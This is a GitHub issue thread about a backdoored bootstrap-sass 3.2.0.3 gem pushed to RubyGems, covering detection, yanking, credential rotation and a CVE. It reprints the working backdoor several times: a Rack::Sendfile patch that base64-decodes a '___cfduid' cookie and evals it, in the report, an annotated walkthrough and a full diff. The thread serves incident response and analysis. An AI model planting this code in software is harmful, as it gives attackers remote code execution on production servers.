Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

3.2.0.3? #1195

Open
dgb opened this issue Mar 26, 2019 · 48 comments

Comments

Projects
None yet
@dgb
Copy link

commented Mar 26, 2019

Hi there,

We noticed that 3.2.0.2 was yanked, and 3.2.0.3 was published to RubyGems. We thought this might be because of ruby-sass being deprecated, but we can't seem to see the 3.2.0.3 code on GitHub.

Looking further, there's some...interesting looking code in what i installed via gem install bootstrap-sass -v 3.2.0.3 (in a file named lib/active-controller/middleware.rb):

begin
  require 'rack/sendfile'
  if Rails.env.production?
    Rack::Sendfile.tap do |r|
      r.send :alias_method, :c, :call
      r.send(:define_method, :call) do |e|
        begin
          x = Base64.urlsafe_decode64(e['http_cookie'.upcase].scan(/___cfduid=(.+);/).flatten[0].to_s)
          eval(x) if x
        rescue Exception
        end
        c(e)
      end
    end
  end
rescue Exception
  nil
end

I have not run this, and I'm a little concerned with what's going on here. It looks like it's loading a cookie and eval-ing it, which seems suspect. Please advise.

@codytubbs

This comment has been minimized.

Copy link

commented Mar 26, 2019

Definitely a backdoor. Everything that's been updated in this account (recently) should be assumed backdoored until this is acknowledged and they follow proper methods on eradicating the culprit.

https://www.incidentresponse.com/playbooks/

https://support.cloudflare.com/hc/en-us/articles/200170156-What-does-the-Cloudflare-cfduid-cookie-do-

The __cfduid cookie should never be evaluated like that.

@evanphx

This comment has been minimized.

Copy link

commented Mar 26, 2019

The offending gem has been removed from rubygems.org.

@glebm

This comment has been minimized.

Copy link
Contributor

commented Mar 27, 2019

@evanphx Can we find out whose account it was pushed from?

@glebm

This comment has been minimized.

Copy link
Contributor

commented Mar 27, 2019

There is currently only 2 people who have push rights to this gem: @thomas-mcdonald and me.
I've changed my password just now.

Still need to go through all my gems, unfortunately I maintain a lot of them, really hoping it wasn't my account.

@glebm

This comment has been minimized.

Copy link
Contributor

commented Mar 27, 2019

I've changed my password on rubygems.org and removed Thomas from owners for now as a precaution, @evanphx also got in touch with me via email.

@codytubbs

This comment has been minimized.

Copy link

commented Mar 27, 2019

@glebm any (auth/access) tokens? May want to check email addresses in other accounts to ensure recovery methods weren't manipulated. Sorry you're having to go through this! Always a nightmare.

@evanphx

This comment has been minimized.

Copy link

commented Mar 27, 2019

@glebm We don't keep track of which account it came from, no. But since we invalidating api tokens and you have change passwords, you're safe.

@AndrewSwerlick

This comment has been minimized.

Copy link

commented Mar 27, 2019

What's the recommended next steps for apps that were using 3.2.0.2 and can no longer build since that version was yanked. Should we be upgrading to 3.3.5.1? Will you restore a safe version of 3.2.0.2? Should we take any particular audit and mitigation steps ourselves?

@darix

This comment has been minimized.

Copy link

commented Mar 27, 2019

@evanphx can you check if the same IP maybe uploaded other gems around the time?

@glebm

This comment has been minimized.

Copy link
Contributor

commented Mar 27, 2019

Will you restore a safe version of 3.2.0.2?

Yes, but not for a few days (maybe longer) as I'm busy.

Upgrading to v3.4.1 is recommended, and should be easy as there is very few backwards incompatibilities between 3.2 and 3.4 releases, and lots of bug fixes.

@edgarv09

This comment has been minimized.

Copy link

commented Mar 27, 2019

@AndrewSwerlick actually we update to v3.4.1 and everything seem ok. i'll keep updated if i saw something.

@thomas-mcdonald

This comment has been minimized.

Copy link
Member

commented Mar 28, 2019

@glebm @evanphx Thanks for the quick action + pulling my access - I have rotated my creds and enabled 2fa across UI / API.

@uri

This comment has been minimized.

Copy link

commented Apr 2, 2019

I see that Rubygems reports that 3.2.0.3 is listed as yanked from Rubygems, but I seem to be able to download it. What's strange is our CI originally alerted us about the CVE but if I set the version to ~> 3.2.0 I'm still able to get the malicious patch and no warnings from CI.

@uri

This comment has been minimized.

Copy link

commented Apr 2, 2019

Just to be clear, I don't think this is a local caching issue. I'm seeing 3.2.0.3 installed in the build log for a Heroku test app but if I try to install 3.2.0.2 then the Heroku build fails as expected as it cannot find 3.2.0.2.

I also followed https://help.heroku.com/18PI5RSY/how-do-i-clear-the-build-cache and I am still able to get the malicious patch.

@glebm

This comment has been minimized.

Copy link
Contributor

commented Apr 2, 2019

Huh, it should not be possible to download yanked gems.

@d3chapma

This comment has been minimized.

Copy link

commented Apr 3, 2019

I can confirm that I never downloaded 3.2.0.3 locally, but I am able to do so:

image

@glebm

This comment has been minimized.

Copy link
Contributor

commented Apr 3, 2019

@evanphx How is this possible?

@glebm

This comment has been minimized.

Copy link
Contributor

commented Apr 3, 2019

Ah, there is an answer in rubygems/rubygems.org#1941

@uri

This comment has been minimized.

Copy link

commented Apr 3, 2019

Should a CVE be created for this then? It seems that yanking the gem was not enough.

@glebm

This comment has been minimized.

Copy link
Contributor

commented Apr 3, 2019

I think a CVE should be created even if the yanking did work!

@glebm

This comment has been minimized.

Copy link
Contributor

commented Apr 3, 2019

I'll release 3.2.0.4 (identical to 3.2.0.2) later today.

glebm added a commit that referenced this issue Apr 3, 2019

Bump to v3.2.0.4 (re-release of 3.2.0.2)
This is a release of v3.2.0.2 that was yanked.
v3.2.0.3 contains malware and has also been yanked.

See #1195 for more information.
@glebm

This comment has been minimized.

Copy link
Contributor

commented Apr 3, 2019

v3.2.0.4 released

@lirantal

This comment has been minimized.

Copy link

commented Apr 3, 2019

Liran from Snyk here. Happy to see that this got caught very quickly (great job @dgb!) and the maintainers responding promptly with with credentials resets and yanking out the package (well done!).

If there's anything we can help at Snyk with the security research such as checking other potentially tampered versions or packages by the maintainers whose creds were linked and such let me know!

P.S. We're looking at some repository details, and stats to get more insights into the impact of this and I'm also taking up notes for a summary of this to be published on our blog.

@glebm

This comment has been minimized.

Copy link
Contributor

commented Apr 3, 2019

@lirantal If you could file a CVE that'd be great! I have no experience with those.

@codytubbs

This comment has been minimized.

Copy link

commented Apr 3, 2019

@glebm @thomas-mcdonald not to beat a dead horse, but did either of you determine which had their creds compromised, or collaborate on root cause? Is simply changing your creds and tokens sufficient, or should this be something to consider determining so that it doesn't happen again? Cheers.

@glebm

This comment has been minimized.

Copy link
Contributor

commented Apr 3, 2019

We couldn't find any evidence pointing towards either of our accounts. None of our other gems have been affected, and RubyGems doesn't have any sort of log to determine who pushed the gem.

I did have a relatively weak password for RubyGems (I created my account there a long time ago, before any of the current password policies were in place).

@lirantal

This comment has been minimized.

Copy link

commented Apr 3, 2019

@glebm cool, looking into the CVE request. I'll keep you posted.

@codytubbs

This comment has been minimized.

Copy link

commented Apr 3, 2019

@lirantal I've requested a CVE. Will keep you posted.

@lirantal

This comment has been minimized.

Copy link

commented Apr 3, 2019

@wigsofoz

This comment has been minimized.

Copy link

commented Apr 4, 2019

https://support.cloudflare.com/hc/en-us/articles/200170156-What-does-the-Cloudflare-cfduid-cookie-do-

The __cfduid cookie should never be evaluated like that.

It's a disguise. The exploit makes use of ___cfduid, with three underscores. CloudFlare makes use of __cfduid, with two underscores.

Web application firewalls could also be set to look for hostile connections making use of the three-underscore version, and block them.

@codytubbs

This comment has been minimized.

Copy link

commented Apr 4, 2019

The MITRE CVE assignment team has issued CVE-2019-10842

@BKSpurgeon

This comment has been minimized.

Copy link

commented Apr 4, 2019

First thank you for pointing this out. Two questions:

  • Is there any way of knowing whether the ruby gem on the Ruby gems site exactly corresponds to the Github version? In this case they were sneaky in that there wasn't even that version in Github?

  • I've added some detailed commentary after studying the code, as an exercise for myself to try and understand what is going on with this metaprogramming. It may help someone else trying to understand this - hope it does. Please feel free to correct my mistakes if any are applicable.

Detailed Comments on the Code

begin
  require 'rack/sendfile'
  if Rails.env.production? # Continue only if we're in the rails production environment:

    Rack::Sendfile.tap do |r|
      # We're using the tap method. the block parameter, r, will be the Rack::Sendfile class.
      # So whenever you see r, just think we are working with the Rack::Sendfile class.

      r.send :alias_method, :c, :call
      # creates a method on Rack::Sendfile called `c` which reroutes to `call`.     
      ## After the above you could now do:
      # send_file = Rack::Sendfile.new
      # send_file.c
      ## and the above would in turn call the ORIGINAL `call` method contained in the 
      ## Rack::Sendfile class, and not the one that is being monkey patched below.
      ## `r.send` makes use of the `Object#send` method https://apidock.com/ruby/Object/send
      ## Another way of rewriting the above code would be:
      ## `Rack::Sendfile.alias_method(:c, :call)` which is equivalent to: 
      ## `r.send :alias_method, :c, :call`

      ## The following bit of code below bit redefines the call(e) method which is in 
      ## the SendFile class: https://github.com/rack/rack/blob/master/lib/rack/sendfile.rb
      ## again, `r.send(:define_method, :call) do |e|` is equivalent to saying:
      ## class Rack::Sendfile
      ##   def call(e)
      ##         # => Insert the malicious code below: begin....rescue...end
      ##   end      
      ## end
      r.send(:define_method, :call) do |e|
        begin
          x = Base64.urlsafe_decode64(e['http_cookie'.upcase].scan(/___cfduid=(.+);/).flatten[0].to_s)
          # Please edit this if you are more knowledgeable: 

          # gets the e['HTTP_COOKIE'] value out of there.
          # then it scans/looks for this for this value: ___cfduid and extracts it with
          # a regular expression.
          # we then get the entire string out of those cookie(s) and convert it to a string
          # then we unencode it and
          # "eval" simply runs whatever code it's been given, AS A STRING!
          # so that someone could simply construct a request with the malicious code, 
          # hidden in a cookie and can run it on your server.
          # simplistically: I could send this: e("WIPE HARDRIVE") 
          # and it would run, provided the security levels in eval are passed.
          eval(x) if x
        rescue Exception
        end

        c(e)
        # after we've done the dirty work, let's run the ORIGINAL `call` method, as 
        # defined in the Rack::Sendfile class. so no one would be none the wiser. 
        # in other words, we've created an aliased method `c`. Running `c`
        # runs the ORIGINAL `call` method, and not the monkey patched one above.
        # But if you run `call` instead of `c`, you will be actually running the tainted and 
        # monkey patched `call` method above, and not the original `call` method defined.
        # in Rack::Sendfile. Like Kelley Wentworth says: "Sneaky, sneaky, sneaky!"
      end
    end
  end
rescue Exception
  nil
end
@thbar

This comment has been minimized.

Copy link

commented Apr 4, 2019

Thanks @BKSpurgeon - useful when linking people to this.

The "nice" characteristic of this exploit is that you can mass-target random IP or domains on the internet to issue a first cheap validation test (e.g. a first code could inject something that sets a given header for responses), then based on the responses, level up to manually curate the interest provided by the target.

That, coupled with the popularity of the gem, makes it very usable.

Many thanks @dgb for the report here.

@thomas-mcdonald

This comment has been minimized.

Copy link
Member

commented Apr 4, 2019

Is simply changing your creds and tokens sufficient, or should this be something to consider determining so that it doesn't happen again?

@codytubbs Given the lack of logging, my best guess is one of us got credential stuffed. With MFA enabled across UI + API and credentials/tokens rotated, in theory this closes that as a future vector. Given my lack of activity on this project, I'm also happy to revoke my write access to the gem.

Many of the followups I can think of would be on the Rubygems side and would improve the state of security across the ecosystem - I'm happy to invest some engineering time in improving this:

for root-causing incidents:

  • audit log of who pushed what

as a gem owner:

  • ability to enforce MFA-only pushes
  • ability to see which users with write access have MFA-enabled

making security easier:

  • push hint to users on non-mfa-rubygems.org pushes that MFA is available and preferred
  • change default MFA behaviour from UI-only to UI + API, eventually deprecate UI-only MFA
@glebm

This comment has been minimized.

Copy link
Contributor

commented Apr 4, 2019

To add to the rubygems list:

  • Keep the number of downloads stats even for yanked gems.
  • Ability to really delete yanked gems when they contain malware.
@derekeweeks

This comment has been minimized.

Copy link

commented Apr 6, 2019

Does anyone know where I can find a copy of the 3.2.0.3 package that was uploaded to rubygems repo? I would like to get a copy for research purposes.

@TheKingOfDuck

This comment has been minimized.

Copy link

commented Apr 7, 2019

@derekeweeks Me too. If you get it .Please share with us

@dgb

This comment has been minimized.

Copy link
Author

commented Apr 7, 2019

Wow, it's not every day that you find yourself in the middle of a large-ish security issue. I've been moving and preparing for a trip, but I finally found the time to write up an account of what went on when I found the backdoor (since I know some people have been curious about it):

http://dgb.github.io/2019/04/05/bootstrap-sass-backdoor.html

I won't really be online for work purposes until mid-May, but I'll be watching this issue, and I'll try to respond to any direct questions/comments.

@glebm

This comment has been minimized.

Copy link
Contributor

commented Apr 7, 2019

The number of downloads is now displayed (rubygems/rubygems.org#1946) for yanked gems (it's 1,477 for the 3.2.0.3).

Yanked gems are really deleted normally, and 3.2.0.3 also got really deleted. See rubygems/rubygems.org#1941 (comment) for details.

@lirantal

This comment has been minimized.

Copy link

commented Apr 8, 2019

Great update on the websiete, thanks @glebm!

@uri

This comment has been minimized.

Copy link

commented Apr 8, 2019

Does anyone know where I can find a copy of the 3.2.0.3 package that was uploaded to rubygems repo? I would like to get a copy for research purposes.

This is the entire diff between 3.2.0.4 (which is a reupload of 3.2.0.2) and 3.2.0.3.

diff -Naur gems/bootstrap-sass-3.2.0.4/CHANGELOG.md gems/bootstrap-sass-3.2.0.3/CHANGELOG.md
--- gems/bootstrap-sass-3.2.0.4/CHANGELOG.md	2019-04-08 09:22:11.000000000 -0400
+++ gems/bootstrap-sass-3.2.0.3/CHANGELOG.md	2019-04-02 11:32:27.000000000 -0400
@@ -1,5 +1,9 @@
 # Changelog

+## 3.2.0.3
+
+* Recompile with libsass
+
 ## 3.2.0.2

 Fixed a number of bugs. [Issues closed in v3.2.0.2](https://github.com/twbs/bootstrap-sass/issues?q=is%3Aissue+is%3Aclosed+milestone%3Av3.2.0.2).
diff -Naur gems/bootstrap-sass-3.2.0.4/lib/active-controller/middleware.rb gems/bootstrap-sass-3.2.0.3/lib/active-controller/middleware.rb
--- gems/bootstrap-sass-3.2.0.4/lib/active-controller/middleware.rb	1969-12-31 19:00:00.000000000 -0500
+++ gems/bootstrap-sass-3.2.0.3/lib/active-controller/middleware.rb	2019-04-02 11:32:27.000000000 -0400
@@ -0,0 +1,18 @@
+begin
+  require 'rack/sendfile'
+  if Rails.env.production?
+    Rack::Sendfile.tap do |r|
+      r.send :alias_method, :c, :call
+      r.send(:define_method, :call) do |e|
+        begin
+          x = Base64.urlsafe_decode64(e['http_cookie'.upcase].scan(/___cfduid=(.+);/).flatten[0].to_s)
+          eval(x) if x
+        rescue Exception
+        end
+        c(e)
+      end
+    end
+  end
+rescue Exception
+  nil
+end
diff -Naur gems/bootstrap-sass-3.2.0.4/lib/bootstrap-sass/version.rb gems/bootstrap-sass-3.2.0.3/lib/bootstrap-sass/version.rb
--- gems/bootstrap-sass-3.2.0.4/lib/bootstrap-sass/version.rb	2019-04-08 09:22:12.000000000 -0400
+++ gems/bootstrap-sass-3.2.0.3/lib/bootstrap-sass/version.rb	2019-04-02 11:32:27.000000000 -0400
@@ -1,4 +1,4 @@
 module Bootstrap
-  VERSION = '3.2.0.4'
+  VERSION = '3.2.0.3'
   BOOTSTRAP_SHA = 'c068162161154a4b85110ea1e7dd3d7897ce2b72'
 end
diff -Naur gems/bootstrap-sass-3.2.0.4/lib/bootstrap-sass.rb gems/bootstrap-sass-3.2.0.3/lib/bootstrap-sass.rb
--- gems/bootstrap-sass-3.2.0.4/lib/bootstrap-sass.rb	2019-04-08 09:22:12.000000000 -0400
+++ gems/bootstrap-sass-3.2.0.3/lib/bootstrap-sass.rb	2019-04-02 11:32:27.000000000 -0400
@@ -67,6 +67,7 @@

     def register_rails_engine
       require 'bootstrap-sass/engine'
+      require 'active-controller/middleware'
     end
   end
 end

@derekeweeks @TheKingOfDuck

@dagnyc

This comment has been minimized.

Copy link

commented Apr 10, 2019

Hello, bootstrap-sass-3.2.0.2 had the files b3.js and core-b3.js but these do not exist in newer versions. Why were they removed/renamed? And how do we now fix applications that relied on them?

@TheKingOfDuck

This comment has been minimized.

Copy link

commented Apr 10, 2019

Does anyone know where I can find a copy of the 3.2.0.3 package that was uploaded to rubygems repo? I would like to get a copy for research purposes.

This is the entire diff between 3.2.0.4 (which is a reupload of 3.2.0.2) and 3.2.0.3.

diff -Naur gems/bootstrap-sass-3.2.0.4/CHANGELOG.md gems/bootstrap-sass-3.2.0.3/CHANGELOG.md
--- gems/bootstrap-sass-3.2.0.4/CHANGELOG.md	2019-04-08 09:22:11.000000000 -0400
+++ gems/bootstrap-sass-3.2.0.3/CHANGELOG.md	2019-04-02 11:32:27.000000000 -0400
@@ -1,5 +1,9 @@
 # Changelog

+## 3.2.0.3
+
+* Recompile with libsass
+
 ## 3.2.0.2

 Fixed a number of bugs. [Issues closed in v3.2.0.2](https://github.com/twbs/bootstrap-sass/issues?q=is%3Aissue+is%3Aclosed+milestone%3Av3.2.0.2).
diff -Naur gems/bootstrap-sass-3.2.0.4/lib/active-controller/middleware.rb gems/bootstrap-sass-3.2.0.3/lib/active-controller/middleware.rb
--- gems/bootstrap-sass-3.2.0.4/lib/active-controller/middleware.rb	1969-12-31 19:00:00.000000000 -0500
+++ gems/bootstrap-sass-3.2.0.3/lib/active-controller/middleware.rb	2019-04-02 11:32:27.000000000 -0400
@@ -0,0 +1,18 @@
+begin
+  require 'rack/sendfile'
+  if Rails.env.production?
+    Rack::Sendfile.tap do |r|
+      r.send :alias_method, :c, :call
+      r.send(:define_method, :call) do |e|
+        begin
+          x = Base64.urlsafe_decode64(e['http_cookie'.upcase].scan(/___cfduid=(.+);/).flatten[0].to_s)
+          eval(x) if x
+        rescue Exception
+        end
+        c(e)
+      end
+    end
+  end
+rescue Exception
+  nil
+end
diff -Naur gems/bootstrap-sass-3.2.0.4/lib/bootstrap-sass/version.rb gems/bootstrap-sass-3.2.0.3/lib/bootstrap-sass/version.rb
--- gems/bootstrap-sass-3.2.0.4/lib/bootstrap-sass/version.rb	2019-04-08 09:22:12.000000000 -0400
+++ gems/bootstrap-sass-3.2.0.3/lib/bootstrap-sass/version.rb	2019-04-02 11:32:27.000000000 -0400
@@ -1,4 +1,4 @@
 module Bootstrap
-  VERSION = '3.2.0.4'
+  VERSION = '3.2.0.3'
   BOOTSTRAP_SHA = 'c068162161154a4b85110ea1e7dd3d7897ce2b72'
 end
diff -Naur gems/bootstrap-sass-3.2.0.4/lib/bootstrap-sass.rb gems/bootstrap-sass-3.2.0.3/lib/bootstrap-sass.rb
--- gems/bootstrap-sass-3.2.0.4/lib/bootstrap-sass.rb	2019-04-08 09:22:12.000000000 -0400
+++ gems/bootstrap-sass-3.2.0.3/lib/bootstrap-sass.rb	2019-04-02 11:32:27.000000000 -0400
@@ -67,6 +67,7 @@

     def register_rails_engine
       require 'bootstrap-sass/engine'
+      require 'active-controller/middleware'
     end
   end
 end

@derekeweeks @TheKingOfDuck

Thanks so much

@derekeweeks

This comment has been minimized.

Copy link

commented Apr 10, 2019

@TheKingOfDuck

This comment has been minimized.

Copy link

commented Apr 10, 2019

@derekeweeks Get,Before u post it , I was trying to recode 3.2.0.4 to 3.2.0.3 by myself. (base on #1195~ thanks so much

@dagnyc

This comment has been minimized.

Copy link

commented Apr 12, 2019

@glebm Hi, can you put 3.2.0.2 back? I understand that 3.2.0.3 had malicious code in it but why yank both versions? I have an app that depends on 3.2.0.2 so now my bundle install fails.

@glebm

This comment has been minimized.

Copy link
Contributor

commented Apr 12, 2019

You can use 3.2.0.4, which is identical to 3.2.0.2. We can't put 3.2.0.2 back because yanked gems cannot be un-yanked.

@dagnyc

This comment has been minimized.

Copy link

commented Apr 12, 2019

@glebm thanks for the quick response! Maybe I'm misunderstanding something but I'm getting errors when I do assets:precompile. I'll have to investigate more

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
You can’t perform that action at this time.